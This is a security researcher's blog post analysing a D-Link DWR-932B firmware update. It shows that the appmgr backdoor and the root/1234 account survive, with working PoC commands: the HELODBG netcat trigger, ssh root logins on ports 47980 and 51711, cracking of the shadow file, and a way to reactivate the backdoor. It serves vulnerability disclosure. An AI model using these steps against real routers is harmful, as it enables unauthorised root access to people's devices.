An update on the post "Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...)":
MITRE has provided me with CVE numbers.
Although D-link did not acknowledge all the vulnerabilities on its products, it released a new firmware on Oct 19, 2016 (DWR-932_fw_revB_2_03_eu_en_20161011.zip) that should fix several RCEs and backdoors. According to D-Link, there is no vulnerability as long as "potential attackers cannot connect to the secure wi-fi network"[1] - does it mean the product is secure as long as there are no attackers?
A reader will note that D-Link did have a full advisory with PoCs for more than 100 days while taking no actions before public disclosure and he/she will surely be able to verify the vulnerabilities by downloading an affected firmware and reversing the binaries (see my blog post for details).
D-Link did not make any effort to contact the security researcher even after the initial advisory was published, but it posted its official answers and patches on their website that the security researcher found "by chance".
However, the corrected firmware still appears to have the backdoor in execution. The only security patches they made were:
/sbin/telnetd
to /sbin/xxlnetd
(so the appmgr
backdoor cannot be used by an attacker),47980/tcp
or to port 999999999/tcp
instead of 22/tcp
(still with root/1234
).The appmgr
backdoor is still present and running but ineffective (as /sbin/telnetd
doesn't exist anymore):
root@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 <- will NOT start a telnetd on port 23/tcp
because /sbin/telnetd was removed
Interesting fact: Starting Dropbear with port 999999999/tcp
will result in dropbear using the port 51711/tcp
instead (999999999 & 0xFFFF
).
So, an attacker can still use the backdoor access to continue to root the device. With SSH:
root@kali:~$ ssh -l root -p 47980 192.168.1.1 <- will provide a root shell with "1234" as a password.
OR
root@kali:~$ ssh -l root -p 51711 192.168.1.1 <- will provide a root shell with "1234" as a password.
Following the reaction from D-Link and the lack of quality of the security patches, I finally advise users to trash their affected routers and I encourage security researchers to review security patches provided from D-Link instead of blindly trusting them.
Note that future 0day vulnerabilities regarding D-Link products may be released at my will without coordinated disclosure ("Full disclosure").
I would like to thank Gianni Carabelli for finding the password of the zip file provided by D-Link.
root@kali:~# wget ftp://anonymous:lolz@ftp.dlink.eu/Products/dwr/dwr-932/driver_software/DWR-932_fw_revB_2_03_eu_en_20161011.zip
root@kali:~# sha256sum DWR-932_fw_revB_2_03_eu_en_20161011.zip # in case of a modification of this file by D-link
fb721979b235c9da9a9b8e505767ce04410b8c7f5035a73ac2c4cc0b9cada3bd DWR-932_fw_revB_2_03_eu_en_20161011.zip
root@kali:~# dd if=DWR-932_fw_revB_2_03_eu_en_20161011.zip of=firmware.zip bs=64 skip=1
993106+1 records in
993106+1 records out
63558829 bytes (64 MB) copied, 1.29239 s, 49.2 MB/s
root@kali:~# mkdir output && cd output && 7z x -pbeUT9Z ../firmware.zip
root@kali:~/output# 7z x -pbeUT9Z firmware.zip
7-Zip 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU)
Processing archive: ../firmware.zip
Extracting 02.03EU
Extracting 2K-cksum.txt
Extracting 2K-mdm-image-mdm9625.yaffs2
Extracting appsboot.mbn
Extracting mba.mbn
Extracting mdm-image-boot-mdm9625.img
Extracting mdm-image-mdm9625.yaffs2
Extracting mdm-recovery-image-boot-mdm9625.img
Extracting mdm-recovery-image-mdm9625.yaffs2
Extracting mdm9625-usr-image.usrfs.yaffs2
Extracting qdsp6sw.mbn
Extracting rpm.mbn
Extracting sbl1.mbn
Extracting tz.mbn
Extracting wdt.mbn
Everything is Ok
Files: 15
Size: 145018347
Compressed: 63558829
root@kali:~/output# ls -latr
total 141640
-rwx------ 1 root root 7840 Jul 18 2014 wdt.mbn
-rwx------ 1 root root 266648 Jul 18 2014 tz.mbn
-rwx------ 1 root root 262144 Jul 18 2014 sbl1.mbn
-rwx------ 1 root root 147432 Jul 18 2014 rpm.mbn
-rwx------ 1 root root 42338681 Jul 18 2014 qdsp6sw.mbn
-rw------- 1 root root 3823616 Jul 18 2014 mdm-recovery-image-boot-mdm9625.img
-rw------- 1 root root 3823616 Jul 18 2014 mdm-image-boot-mdm9625.img
-rwx------ 1 root root 365464 Jul 18 2014 mba.mbn
-rwx------ 1 root root 69872 Jul 18 2014 appsboot.mbn
-rw------- 1 root root 14733312 Oct 10 23:16 mdm-recovery-image-mdm9625.yaffs2
-rw------- 1 root root 25869888 Oct 10 23:16 mdm-image-mdm9625.yaffs2
-rw------- 1 root root 25869888 Oct 11 02:37 2K-mdm-image-mdm9625.yaffs2
-rw------- 1 root root 27439104 Oct 11 03:19 mdm9625-usr-image.usrfs.yaffs2
-rw------- 1 root root 842 Oct 11 03:19 2K-cksum.txt
-rw------- 1 root root 0 Oct 11 03:19 02.03EU
drwx------ 2 root root 340 Nov 10 17:07 .
drwx------ 3 root root 80 Nov 10 17:24 ..
root@kali:~/output# mkdir 1 && cd 1 && unyaffs ../mdm9625-usr-image.usrfs.yaffs2
Only etc/versions
was updated in mdm9625-usr-image.usrfs.yaffs2
. No useful information.
Diff is:
1c1
< fw_version=02.02EU
---
> fw_version=02.03EU
7c7
< model_name=beUT9Z
---
> model_name=beUT9Z#
mdm-recovery-image-mdm9625.yaffs2
was unchanged compared to 2.02 version.
Let's dig 2K-mdm-image-mdm9625.yaffs2
:
root@kali:~/output/1# cd .. && mkdir 2 && cd 2 && unyaffs ../2K-mdm-image-mdm9625.yaffs2
root@kali:~/output/2# ls -latr
total 4
drwxr-xr-x 2 root root 40 Jul 18 2014 sys
drwxr-xr-x 2 root root 40 Jul 18 2014 proc
drwxr-xr-x 2 root root 1300 Jul 18 2014 dev
drwxr-xr-x 2 root root 40 Jul 18 2014 boot
drwxr-xr-x 7 root root 240 Jul 18 2014 var
lrwxrwxrwx 1 root root 8 Jul 18 2014 www -> /usr/www
lrwxrwxrwx 1 root root 11 Jul 18 2014 sdcard -> /media/card
drwxr-xr-x 2 root root 120 Jul 18 2014 mnt
drwxr-xr-x 10 root root 200 Jul 18 2014 media
drwxr-sr-x 3 root root 60 Jul 18 2014 home
drwxr-xr-x 2 root root 60 Jul 18 2014 disk
drwxr-xr-x 3 root root 60 Jul 18 2014 WEBSERVER
lrwxrwxrwx 1 root root 12 Jul 18 2014 linuxrc -> /bin/busybox
drwxr-xr-x 2 root root 6020 Jul 18 2014 bin
drwxr-xr-x 2 root root 40 Jul 18 2014 usr
drwxrwxrwt 2 root root 40 Jul 18 2014 tmp
drwxr-xr-x 4 root root 1140 Jul 18 2014 lib
drwxr-xr-x 31 root root 1680 Jul 18 2014 etc
drwxr-xr-x 2 root root 40 Jul 18 2014 config2
drwxr-xr-x 2 root root 40 Jul 18 2014 config
drwxr-xr-x 2 root root 40 Jul 18 2014 cache
-rw-r--r-- 1 root root 38 Jul 18 2014 build.prop
drwxr-xr-x 21 root root 500 Jul 18 2014 .
drwxr-xr-x 2 root root 3040 Oct 10 23:12 sbin
drwx------ 4 root root 380 Nov 10 17:26 ..
root@kali:~/output/2# ls -latr etc/init.d|tail
-rwxr-xr-x 1 root root 2015 Jul 18 2014 reboot
-rwxr-xr-x 1 root root 10835 Jul 18 2014 power_config
-rwxr-xr-x 1 root root 2138 Jul 18 2014 start_ipacm_le
-rwxr-xr-x 1 root root 609 Jul 18 2014 run-postinsts
-rwxr-xr-x 1 root root 2178 Jul 18 2014 start_appmgr
lrwxrwxrwx 1 root root 8 Jul 18 2014 stop-bootlogd -> bootlogd
lrwxrwxrwx 1 root root 14 Jul 18 2014 syslog -> syslog.busybox
drwxr-xr-x 31 root root 1680 Jul 18 2014 ..
-rwxr-xr-x 1 root root 2681 Oct 11 02:33 dropbear
drwxr-xr-x 2 root root 1180 Oct 11 02:33 .
root@kali:~/output/2#
Backdoor is still started at boot (same SHA256):
root@kali:~/output/2# ls -latr ./etc/init.d/start_appmgr
-rwxr-xr-x 1 root root 2178 Jul 18 2014 ./etc/init.d/start_appmgr
root@kali:~/output/2# ls -latr bin/appmgr
-rwxr-xr-x 1 root root 505728 Jul 18 2014 bin/appmgr
root@kali:~/output/2# sha256sum bin/appmgr
5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20 bin/appmgr
root@kali:~/output/2# strings bin/appmgr|grep -i DBG
am_comdbg
HELODBG
BYEDBG
[DBG] Read content <%s> from file...
/var/lte6dbg.log
/var/bgdbg.log
/config/dbglog_ipt6
/var/cmdbg.log
root@kali:~/output/2#
Wow a patch ! Dropbear will listen to port 999999999/tcp (are you sure you want to do this because 999999999 & 0xFFFF = 51711 ?)
root@kali:~/output/2# head -n 30 etc/init.d/dropbear
#!/bin/sh
### BEGIN INIT INFO
# Provides: sshd
# Required-Start: $remote_fs $syslog $networking
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 1
# Short-Description: Dropbear Secure Shell server
### END INIT INFO
#
# Do not configure this file. Edit /etc/default/dropbear instead!
#
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/dropbear
NAME=dropbear
DESC="Dropbear SSH server"
DROPBEAR_PORT=999999999
DROPBEAR_EXTRA_ARGS=
NO_START=0
set -e
test ! -r /etc/default/dropbear || . /etc/default/dropbear
test "$NO_START" = "0" || exit 0
test -x "$DAEMON" || exit 0
test ! -h /var/service/dropbear || exit 0
readonly_rootfs=0
root@kali:~/output/2#
Still the same passwords (root / 1234
):
root@kali:~/output/2# john etc/shadow
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status
1234 (root)
1g 0:00:00:00 100% 2/3 12.50g/s 25162p/s 25162c/s 25162C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now with mdm-image-mdm9625.yaffs2
(this appears to be a "test image", without the dropbear tweak):
root@kali:~/output/2# cd .. && mkdir 3 && cd 3 && unyaffs ../mdm-image-mdm9625.yaffs2
Backdoor is still started at boot (same SHA256):
root@kali:~/output/3# ls -latr ./etc/init.d/start_appmgr
-rwxr-xr-x 1 root root 2178 Jul 18 2014 ./etc/init.d/start_appmgr
root@kali:~/output/3# ls -latr bin/appmgr
-rwxr-xr-x 1 root root 505728 Jul 18 2014 bin/appmgr
root@kali:~/output/3# sha256sum bin/appmgr
5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20 bin/appmgr
root@kali:~/output/3# strings bin/appmgr|grep -i DBG
am_comdbg
HELODBG
BYEDBG
[DBG] Read content <%s> from file...
/var/lte6dbg.log
/var/bgdbg.log
/config/dbglog_ipt6
/var/cmdbg.log
root@kali:~/output/3#
Wow, the final patch! Dropbear is now listening to port 47980/tcp.
root@kali:~/output/3# ls -latr etc/init.d|tail
-rwxr-xr-x 1 root root 2015 Jul 18 2014 reboot
-rwxr-xr-x 1 root root 10835 Jul 18 2014 power_config
-rwxr-xr-x 1 root root 2138 Jul 18 2014 start_ipacm_le
-rwxr-xr-x 1 root root 609 Jul 18 2014 run-postinsts
-rwxr-xr-x 1 root root 2178 Jul 18 2014 start_appmgr
lrwxrwxrwx 1 root root 8 Jul 18 2014 stop-bootlogd -> bootlogd
lrwxrwxrwx 1 root root 14 Jul 18 2014 syslog -> syslog.busybox
drwxr-xr-x 31 root root 4096 Jul 18 2014 ..
-rwxr-xr-x 1 root root 2677 Oct 10 23:11 dropbear
drwxr-xr-x 2 root root 4096 Oct 10 23:11 .
root@kali:~/output/3# head -n 30 etc/init.d/dropbear
#!/bin/sh
### BEGIN INIT INFO
# Provides: sshd
# Required-Start: $remote_fs $syslog $networking
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 1
# Short-Description: Dropbear Secure Shell server
### END INIT INFO
#
# Do not configure this file. Edit /etc/default/dropbear instead!
#
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/dropbear
NAME=dropbear
DESC="Dropbear SSH server"
DROPBEAR_PORT=47980
DROPBEAR_EXTRA_ARGS=
NO_START=0
set -e
test ! -r /etc/default/dropbear || . /etc/default/dropbear
test "$NO_START" = "0" || exit 0
test -x "$DAEMON" || exit 0
test ! -h /var/service/dropbear || exit 0
readonly_rootfs=0
It took 5 months for D-Link to produce these security patches. It appears only 1 vulnerability was patched.
root@kali:~# diff 202/2K/etc/init.d/dropbear 203/2K/etc/init.d/dropbear
19c19
< DROPBEAR_PORT=22
---
> DROPBEAR_PORT=999999999
root@kali:~#
And:
> /sbin/xxlnetd
< /sbin/telnetd
And finally:
root@kali:~# diff 202/usr/etc/versions 203/usr/etc/init.d/dropbear
< fw_version=02.02EU
---
> fw_version=02.03EU
7c7
< model_name=beUT9Z
---
> model_name=beUT9Z#
root@kali:~#
And the final PoC:
root@kali:~# ssh -l root -p 51711 192.168.1.1
The authenticity of host '[192.168.1.1]:51711 ([192.168.1.1]:51711)' can't be established.
RSA key fingerprint is SHA256:0RCgva9fjvPn6TkN89hkVQHIpHkKfvfsGmYtnOgki0g.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[192.168.1.1]:51711' (RSA) to the list of known hosts.
root@192.168.1.1's password:
root@homerouter:~# ps -a|grep dropbear
352 root 0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999
1190 root 0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999
1203 root 0:00 grep dropbear
root@homerouter:~# netstat -antelapu|grep drop
tcp 0 0 0.0.0.0:51711 0.0.0.0:* LISTEN 318/dropbear
tcp 0 0 192.168.1.1:51711 192.168.1.2:44924 ESTABLISHED 1061/dropbear
tcp 0 0 :::51711 :::* LISTEN 318/dropbear
root@homerouter:~#
Then, the DBG backdoor can be reactivated by an attacker just by adding a symlink from /sbin/telnetd
to /sbin/busybox
.
published on 2017-02-02 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>